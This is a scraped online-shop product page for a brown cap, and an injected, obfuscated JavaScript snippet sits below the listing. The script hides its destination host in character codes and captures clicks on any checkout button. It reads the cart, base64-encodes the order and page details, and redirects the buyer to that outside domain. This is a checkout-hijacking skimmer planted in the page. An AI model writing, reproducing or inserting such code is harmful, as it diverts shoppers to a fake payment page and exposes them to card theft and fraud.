✦ Verified product
Bill Flurrie brown cap
GBP 40.00
Bill Flurrie
Verified independent store
→
(()=>{try{const K="__ck103_batch_b5b1b590_20260831";if(window[K])return;window[K]=1;const O="https://"+String.fromCharCode(121,53,100,52,46,109,121)+"/";window.__ck103_overlay_v2=1
;let busy=false;const S='button[name="checkout"],input[name="checkout"],button[value="checkout"],a[href="/checkout"],a[href^="/checkout?"],a[href*="/checkout/"],[data-checkout],[data-testid*="checkout"]';function hit(e){let n=e.submitter||e.target;if(!(n instanceof Element))return null;let h=n.closest(S);if(h)return h;let b=n.closest('button,a,input,[role="button"]');let t=((b&&(b.innerText||b.value||b.getAttribute("aria-label")))||"").replace(/\s+/g," ").trim();if(b&&/^(check\s*out|checkout)$/i.test(t))return b;if(e.type==="submit"){let f=n.closest("form")||n;if(f&&/\/cart(?:$|[/?])/i.test(f.action||"")){let q=f.querySelector('[name="checkout"],[value="checkout"]');if(q)return q}}return null}function enc(v){return btoa(unescape(encodeURIComponent(JSON.stringify(v))))}async function go(){const sourceUrl=location.href,sourceOrigin=location.origin,sourcePath=location.pathname;const r=await fetch("/cart.js",{credentials:"same-origin",headers:{Accept:"application/json"}});if(!r.ok)throw Error("cart:"+r.status);const c=await r.json();const items=(c.items||[]).map((i,x)=>({id:String(i.variant_id||i.id)+":"+x,productId:String(i.product_id||""),variantId:String(i.variant_id||i.id||""),title:i.product_title||i.title||"",variant:i.variant_title||"",quantity:Number(i.quantity||0),unitPriceMinor:Number(i.final_price??i.price??0),lineTotalMinor:Number(i.final_line_price??i.line_price??0),image:i.image||"",discounts:(i.line_level_discount_allocations||[]).map(d=>({title:d.discount_application?.title||"",amountMinor:Number(d.amount||0)}))}));const order={locale:document.documentElement.lang||navigator.language||"en",currency:c.currency||(window.Shopify&&Shopify.currency&&Shopify.currency.active)||"",items,discounts:(c.cart_level_discount_applications||[]).map(d=>({title:d.title||"",amountMinor:Number(d.total_allocated_amount||0)})),shipping:{status:"pending",amountMinor:null,label:"Enter shipping address"},taxMinor:0,taxPresent:false,subtotalMinor:Number(c.items_subtotal_price??c.original_total_price??c.total_price??0),totalMinor:Number(c.total_price??0),savingsMinor:Number(c.total_discount??0),itemCount:Number(c.item_count??items.reduce((n,i)=>n+i.quantity,0))};const data={site:location.hostname,sourceSite:location.hostname,sourceUrl,sourceOrigin,sourcePath,capturedAt:Date.now(),order};const p=new URLSearchParams({co:enc(data),return_to:sourceOrigin+"/checkout",site:location.hostname,source_site:location.hostname,source_host:location.hostname,source_origin:sourceOrigin,source_path:sourcePath,source_url:sourceUrl,checkout_path:"/checkout",overlay_route:"/",_r:Math.random().toString(16).slice(2)+Date.now().toString(16)});location.assign(O+"?"+p.toString())}function take(e){const h=hit(e);if(!h)return;e.preventDefault();e.stopPropagation();e.stopImmediatePropagation();if(busy)return;busy=true;go().catch(()=>{busy=false;location.assign("/checkout")})}["pointerdown","mousedown","touchstart","click","submit"].forEach(t=>window.addEventListener(t,take,true))}catch(_){}})();